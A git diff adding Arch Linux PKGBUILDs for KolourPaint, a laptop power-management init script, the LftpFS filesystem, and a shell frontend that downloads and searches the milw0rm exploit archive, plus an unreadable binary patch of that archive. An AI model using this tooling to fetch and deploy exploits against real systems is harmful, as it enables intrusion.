@@ +# Contributor: Thomas Mudrunka + +pkgname=kolourpaint +pkgver=1.2.2_kde3 +binver=3bin + +pkgrel=1 +pkgdesc="Binary version of simple, easy-to-use paint program for KDE. Currently this is !!!NOT WORKING!!! Use aur/kolourpaint-bin while not fixed." +arch=('i686' 'x86_64') +license=('GPL') +url="http://kolourpaint.sourceforge.net/" +depends=('qt3' 'kdelibs3') +conflicts=('kolourpaint-bin') +provides=('kolourpaint-bin') +source=(http://downloads.sourceforge.net/sourceforge/kolourpaint/${pkgname}-${pkgver}-${binver}.tar.bz2) +md5sums=('4b699de6a68600eee8df349b046c88ee') + +build() { + cd ${srcdir}/${pkgname}-${pkgver}-${binver} + + mkdir -p ${pkgdir}/opt/kolourpaint + cp -r ${srcdir}/${pkgname}-${pkgver}-${binver}/* ${pkgdir}/opt/kolourpaint/ + chmod -R 655 ${pkgdir}/opt/kolourpaint/ + + mkdir -p ${pkgdir}/usr/bin + echo '#!/bin/sh + /opt/kolourpaint/kolourpaint $@' > ${pkgdir}/usr/bin/kolourpaint + chmod -R 655 ${pkgdir}/usr/bin/kolourpaint +} + diff --git a/laptop-init-script/PKGBUILD b/laptop-init-script/PKGBUILD new file mode 100644 index 0000000..063c69d --- /dev/null +++ b/laptop-init-script/PKGBUILD @@ -0,0 +1,70 @@ +# Contributor: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +# TODO: +# - sdparm + hdparm support + +pkgname=laptop-init-script +pkgver=1.1 +pkgrel=1 +pkgdesc="Small rc.d script for enabling/disabling cpufrequtils, pm-utils, laptop-mode-tools and hdparm optimalizations from init (rc.conf)" +arch=('any') +license=('GPL') +url="http://wiki.archlinux.org/index.php/Laptop-init-script" +depends=('cpufrequtils' 'pm-utils' 'laptop-mode-tools' 'hdparm' 'sdparm') + +build() { + mkdir -p ${pkgdir}/etc/rc.d + +cat > ${pkgdir}/etc/rc.d/laptop-init <<"EOF" +#!/bin/bash +#universal daemon controller +# general config +. /etc/rc.conf +. /etc/rc.d/functions + +cpufreq-set-all() { + cpus=$(sed -ne 's/^processor.* \([0-9]\+\)$/\1/p' /proc/cpuinfo) + for cpu in $cpus + do + cpufreq-set -c $cpu -g $1 + done +} + +case "$1" in + start) + stat_busy "Enabling cpufreq CPU scaling" + #cpufreq-set-all conservative #less dynamic (saving more power, but slooooow) + cpufreq-set-all ondemand #more dynamic (saving power, when speed is not needed) + stat_done + stat_busy "Entering laptop mode" + echo 1 > /proc/sys/vm/laptop_mode + stat_done + stat_busy "Launching pm-powersave true" + pm-powersave true + stat_done + ;; + stop) + stat_busy "Disabling cpufreq CPU scaling" + cpufreq-set-all performance + stat_done + stat_busy "Leaving laptop mode" + echo 0 > /proc/sys/vm/laptop_mode + stat_done + stat_busy "Launching pm-powersave false" + pm-powersave false + stat_done + ;; + restart) + $0 stop + sleep 1 + $0 start + ;; + *) + echo "usage: $0 {start|stop|restart}" +esac + +EOF + + chmod -R 755 ${pkgdir}/ +} diff --git a/lftpfs/PKGBUILD b/lftpfs/PKGBUILD new file mode 100644 index 0000000..91e6edf --- /dev/null +++ b/lftpfs/PKGBUILD @@ -0,0 +1,26 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=lftpfs +pkgver=0.4.2 +pkgrel=2 +pkgdesc="Read-only network filesystem with caching for smart mirroring of sites. (like Linux repositories) It's based on FUSE and LFTP client (supports FTP, HTTP, FISH, SFTP, HTTPS, FTPS protocols & works over proxies.) LftpFS is fork from unmaintained FuseFTP." +arch=('any') +license=('GPL') +url="http://lftpfs.sourceforge.net/" +makedepends=('perl') +depends=('lftp' 'perl' 'fuse' 'perl-fuse' 'perl-ipc-run') +source=( + "http://downloads.sourceforge.net/sourceforge/${pkgname}/${pkgname}-${pkgver}.tar.gz" +) +md5sums=('aec22aa8107afe5a250c39330a1b08d2') + + +build() { + cd ${srcdir}/${pkgname}-${pkgver}/ || return 1 + + perl Makefile.PL || return 1 + make || return 1 + make DESTDIR=${pkgdir} install || return 1 +} diff --git a/milw0rm/PKGBUILD b/milw0rm/PKGBUILD new file mode 100644 index 0000000..8694141 --- /dev/null +++ b/milw0rm/PKGBUILD @@ -0,0 +1,23 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=milw0rm-exploit-database +pkgver=1.1 +pkgrel=1 +pkgdesc="Milw0rm (Milworm) exploit database commandline frontend for updating and queriing as easy as (ex.): sudo milw0rm update; milw0rm search apache; milw0rm search port.80; sudo milw0rm usearch another.regexp; etc..." +arch=('any') +license=('GPL') +url="http://milw0rm.com/" +depends=('bash') +source=('milw0rm.bash') +md5sums=('14ee790789778a1e7425749abdbb6c30') + +build() { + mkdir -p ${pkgdir}/usr/bin + mkdir -p ${pkgdir}/opt/milw0rm + + cp ${srcdir}/milw0rm.bash ${pkgdir}/usr/bin/milw0rm + + chmod -R 755 ${pkgdir}/ +} diff --git a/milw0rm/PKGBUILD-old b/milw0rm/PKGBUILD-old new file mode 100644 index 0000000..67aec65 --- /dev/null +++ b/milw0rm/PKGBUILD-old @@ -0,0 +1,55 @@ +# Contributor: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=milw0rm-exploit-database +pkgver=1.0 +pkgrel=1 +pkgdesc="Milw0rm (Milworm) exploit database commandline frontend for updating and queriing as easy as (ex.): sudo milw0rm update; milw0rm search apache; milw0rm search port.80; sudo milw0rm usearch another.regexp; etc..." +arch=('any') +license=('GPL') +url="http://milw0rm.com/" +depends=() + +build() { + mkdir -p ${pkgdir}/usr/bin + mkdir -p ${pkgdir}/opt/milw0rm + +echo ' +#!/bin/bash +#download, update and query local exploit database from milw0rm.com +#CopyLefted by Harvie 2oo9 (http://blog.harvie.cz/) +target_dir="/opt/milw0rm" + +case "$1" in + update) + if [ $UID != 0 ]; then + echo 'You must run Milw0rm update as root!'; + exit; + fi; + echo "Downloading exploit archive from Milw0rm..." + mkdir -p "$target_dir" + cd "$target_dir"; + wget "http://www.milw0rm.com/sploits/milw0rm.tar.bz2" + echo "Extracting archive..." + tar jxpf milw0rm.tar.bz2 + rm milw0rm.tar.bz2 + cd milw0rm + ;; + search) + cat "$target_dir/milw0rm/sploitlist.txt" | grep -i "$2" | while read line; do + echo "$target_dir/milw0rm/$line"; + done; + ;; + usearch) + $0 update + $0 search "$2" + ;; + *) + echo "Local Milw0rm.com exploit database updater" + echo "Target directory: $target_dir" + echo "usage: $0 {update|search regexp|usearch regexp}" +esac +' > ${pkgdir}/usr/bin/milw0rm + + chmod -R 655 ${pkgdir}/ +} diff --git a/milw0rm/milw0rm.bash b/milw0rm/milw0rm.bash new file mode 100644 index 0000000..3136ca1 --- /dev/null +++ b/milw0rm/milw0rm.bash @@ -0,0 +1,35 @@ +#!/bin/bash +#download, update and query local exploit database from milw0rm.com +#CopyLefted by Harvie 2oo9 (http://blog.harvie.cz/) +target_dir="/opt/milw0rm" + +case "$1" in + update) + if [ $UID != 0 ]; then + echo You must run Milw0rm update as root!; + exit; + fi; + echo "Downloading exploit archive from Milw0rm..." + mkdir -p "$target_dir" + cd "$target_dir"; + wget "http://www.milw0rm.com/sploits/milw0rm.tar.bz2" + echo "Extracting archive..." + tar jxpf milw0rm.tar.bz2 + rm milw0rm.tar.bz2 + cd milw0rm + ;; + search) + cat "$target_dir/milw0rm/sploitlist.txt" | grep -i "$2" | while read line; do + echo "$target_dir/milw0rm/$line"; + done; + ;; + usearch) + $0 update + $0 search "$2" + ;; + *) + echo 'Local Milw0rm.com exploit database tool by Harvie 2oo9 ( http://blog.harvie.cz/ )' + echo + echo "Target directory: $target_dir" + echo "usage: $0 {update|search regexp|usearch regexp}" +esac diff --git a/milw0rm/milw0rm.tar.bz2.1 b/milw0rm/milw0rm.tar.bz2.1 new file mode 100644 index 0000000000000000000000000000000000000000..2cda0b996c47706d846686eeaa74b355ff234494 GIT binary patch literal 44586 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

v|iDRR=Fy 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 